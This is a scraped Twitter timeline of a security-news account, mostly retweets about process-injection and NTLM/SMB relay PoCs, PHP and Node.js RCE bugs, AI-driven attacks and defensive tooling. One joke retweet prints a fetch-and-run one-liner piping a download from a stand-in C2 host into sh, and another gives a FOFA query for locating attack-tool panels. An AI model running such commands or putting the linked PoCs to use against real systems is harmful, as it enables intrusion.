Mostly RT interesting stuff. RT != Endorsement and all that jazz.
Crimea, Ukraine.
Joined May 2009
- Tweets17.5K
- Following808
- Followers391
- Likes0
Johan retweeted
Some detection opportunities here:
Today we released WhisperHijack, a stealthy process injection PoC that uses thread descriptions to inject payloads into remote processes, then patches a waiting thread's return address for execution.
Every memory op happens in-target via Queue APCs, with zero NtWriteVirtualMemory or NtSetContextThread calls.
Based on @hasherezade TNC + WTH research.
github.com/Maldev-Academy/Wh…
Johan retweeted
Tracking #ARTEX a Chinese-built, LLM-driven autonomous penetration testing framework.
A single FOFA favicon query surfaces 300+ live control panels:
icon_hash="-576220750"
en.fofa.info/result?qbase64=…
#ThreatIntel #ThreatHunting
Johan retweeted
#PHP2SHELL is already making its way into active Linux botnet arsenals.
Spotted a THOR-detected sample with PHP2SHELL-VULN-CVE-2026-109618 integrated alongside 8 existing CVE exploit references.
Botnets are adapting fast.
Patch ASAP and assess your systems for signs of compromise. Don't assume you're safe just because you've patched.
virustotal.com/gui/file/a75f…
Johan retweeted
Microsoft wants EDR out of the Windows kernel. We checked the binaries
They even come with public symbols. Full write-up from @zodiacon : go.es.io/4zcdL2U
Microsoft's answer is the Windows Endpoint Security Platform (WESP). It's undocumented, but it already ships in Windows Insider builds.
What we found:
• wesp.sys: a Microsoft-built file system mini-filter at altitude 329500
• EspFilterPort: the filter communication port it uses to reach user mode
• espclient.dll: 120 Esp* exports for rules, filters and event queues
Johan retweeted
Important quote ... plan to use it in your slide decks in the coming months
"The ease with which open-weight AI models can be combined and spread into countless attack tools has transformed cyberattacks, which once required advanced skills, into an era where anyone can easily carry them out."
"the internet itself is on the verge of collapse"
After another massive cyberattack, GMO - one of Japan's biggest brokerages - is urging the government to intervene.
"The cyberspace that I built with my colleagues, believing it would bring smiles to people's faces, is now on the verge of being completely destroyed by malicious actors.
The underlying issue is the explosive evolution and misuse of AI technology.
The ease with which open-weight AI models can be combined and spread into countless attack tools has transformed cyberattacks, which once required advanced skills, into an era where anyone can easily carry them out."
Johan retweeted
🚨 Another week, another critical vulnerability addressed in PHP.
CVE-2026-111497 (Brotli) scores 9.2 CVSS.
PHP released updated Windows builds today (Oct-26) to address the vulnerability in its bundled Brotli library.
Linux installations may also be exposed through vulnerable system Brotli dependencies, which require separate updates.
php.net/archive/2026.php#202…
#php #cybersecurity
Johan retweeted
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
Johan retweeted
hashcat v8.0.0 released!
The largest update in the history of hashcat, with PCFG attacks, hash recipes that crack hashes without a hash-mode, and bcrypt on FPGA boards.
Release notes: github.com/hashcat/hashcat/b…
Download: hashcat.net/hashcat/
Johan retweeted
I've seen AI agents use this pattern quite a lot when running commands. They turn a question into a simple yes/no check and return a predictable result that can be used to decide what to do next.
We're currently investigating a full intrusion where a significant part of the attacker's activity appears to have been automated using AI.
This command is one of the interesting artifacts we've come across. Not proof of AI on its own, but it fits the pattern I've seen. Have a look at the screenshot below.
Maybe I'm biased, but to me, this pattern screams AI.
Johan retweeted
StealMyBitcoin is solved! This is the absolute best explanation you’ll see on how hard #php2shell is to exploit. The author had to trigger a precise memory corruption condition, leak internal memory addresses, bypass aslr, reverse engineer php’s internal memory structures, forge structures to hijack execution, and account for php build differences, worker behavior and timing to get RCE. 20 http requests with a 7 out of 10 success rate. What an amazingly successful CTF. Impressive the creator was able to keep the server up during all the attempts. With all the BS around it’s nice to see something concrete that moves the art forward.
github.com/KillaBoi/StealMyB…
Love this. The💰is still in the wallet. Finally we get some ground truth around how hard php2shell is to exploit. The amount of bullshit flying around from vendors capitalizing on the moment is staggering, And the alert fatigue they’re creating is really going to hurt when a mass exploitable RCE emerges. We still haven’t seen a production site hacked via #php2shell at Wordfence.
Johan retweeted
Just spent the last 7 days on the front lines of the vulnpocalypse fending off an active cyber attack on one of our products.
Some thoughts:
- Software factories are going to be required equipment for everyone. There’s just no way to keep up with the pace of highly automated adversaries without one.
- We were lucky because we had spent the last few months getting our software factory running well. It is nice to have for product development but proved to be absolutely essential this week.
- At the minimum you need to have a coding server in the cloud pre-provisioned with read only access to all your logs and all the services you depend on for observability. With that in place you are a prompt away from reasonably good situational awareness, ongoing monitoring with loops, and ability for coding agents to validate fixes against your actual, observed attack patterns.
- Shared coding server also unlocks multiplayer incident response where everyone can see every session and jump in as needed. Sharing session links that can be forked is much higher bandwidth than re-explaining things.
- You don’t need to be Ramp/Stripe/Uber scale to have a working software factory in the cloud. We are a team of 3. Ours is built with an @opencode server (thanks @thdxr!), a forked version of compound engineering optimized for automated workflows (thanks @kieranklaassen!) and a multiplayer agent in slack that handles crons (we have our own harness but pick your favorite here).
- To get our software factory up and running well, we had to stop all new product development for ~6 weeks and just focus on getting the validation systems working that enabled us to reliably shipping PR without human code review. This felt very painful in the moment but was totally worth the eventual speedup in velocity.
- KYC for @AnthropicAI & @OpenAI cyber programs is now easy and quick (at least for defensive access), but a day felt like a lifetime this week. Submit your app now before you really need it.
- Getting Mythos access unlocked a deeper level of analysis that helped us shift from reactive mitigation to proactive patching. Wish we had done this a few weeks earlier. Get started now!
Johan retweeted
Someone has created a vulnerable PHP website, loaded it with a Bitcoin wallet, and challenged the Internet to hack into it and they can keep the Bitcoin. It has a running timer to show if the PHP exploitability was over-hyped. stealmybitcoin.com/
Johan retweeted
Update: Our PHP exploit is now production-grade.
* stock php.ini-production, display_errors=off, normal memory_limit, multi-worker, ASLR, under load
* ARM64 + x86-64 targets
* MediaWiki, WordPress, phpBB, Laravel
* Apache/mod_php and nginx/php-fpm -> root
xitter.cf/dguido/status/21131291…
Re: the widely circulated blog claiming the PHP bugs aren't easily exploitable: @trailofbits has a working exploit that gets a shell on an unmodified MediaWiki installation.
eliastaylor.com/noexploit/
Johan retweeted
Entra ID Protection finally added a detection around suspicious addition of credentials 🥳
We've been seeing attackers register passkeys a lot lately, no attestation for users who are eligible to use SMS/voice is only making it worse... :-/
learn.microsoft.com/en-us/en…
Johan retweeted
1/2
LDAP signing was supposed to stop NTLM relay to LDAP. I found a way to relay coerced SMB auth to a DC with LDAP signing and channel binding enforced.
Patched in October.
Blog: specterops.io/blog/2026/10/2…
PoC: github.com/grayhatkiller/swi…
Johan retweeted
Philomena: Some people have been writing PHP for over 20 years. Is that because it's particularly difficult to finish?
Expert: No, software is constantly evolving.
Philomena: So they've been writing the same website for 20 years?
Expert: No, different projects.
Philomena: Have they tried finishing one before starting another?
Expert: That's not how software development works.
Philomena: My mate Paul spent 20 years building a shed. Turned out he was just an alcoholic.
Expert: Right.
Philomena: Is PHP like that?
Johan retweeted
I think this is more serious than many people realize.
Not every Node.js server is vulnerable, of course. The application needs to process untrusted Brotli-compressed data.
But how common is that? Well, common middleware configurations in Express 5 can already expose the vulnerable decoder, without developers explicitly using Brotli anywhere in their code.
So we’re potentially looking at a pretty large attack surface, although nobody really knows how many deployments are exploitable yet.
I wouldn’t be surprised to see automated scanning and exploitation attempts targeting this very soon.
Patch your Node.js runtimes.
🤖 Made with AI
Liked PHP2Shell? You’re gonna love Node2Shell.
We reproduced CVE-2026-111497 as pre-auth RCE. On a vulnerable Node.js runtime, app.use(express.json()) is enough to expose your server to code execution through a single Brotli request. Patch your systems now!
imperva.com/blog/node2shell-…
Johan retweeted
I wrote up a way to defeat enforced SMB signing for relay.
It abuses a documented SMB re-authentication behavior.
I'm surely missing nuance and prior art. Corrections welcome.
Writeup:
blackfield.ch/blog/defeating…
PoC:
github.com/aas-n/reauthx
